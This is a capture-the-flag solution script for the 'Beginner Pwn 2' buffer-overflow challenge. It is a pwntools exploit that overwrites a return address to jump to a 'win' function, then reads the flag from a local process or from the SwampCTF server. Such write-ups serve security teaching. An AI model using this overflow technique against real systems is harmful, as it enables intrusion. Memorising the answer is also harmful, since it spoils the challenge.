Beginner Pwn 2

#buffer-overflow#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./binary_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("chals.swampctf.com", 40001)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():

    offset  = 0x12 * b'i'
    win     = elf.sym["win"]
    payload = offset + p64(win)

    r = conn()

    r.sendline(payload)
    r.recvuntil(b'\n')

    r.recvuntil(b'Here is your flag! ')
    flag = r.recvuntil(b'\n', drop=True)

    print()
    print(flag.decode())
    print()
    # r.interactive()




if __name__ == "__main__":
    main()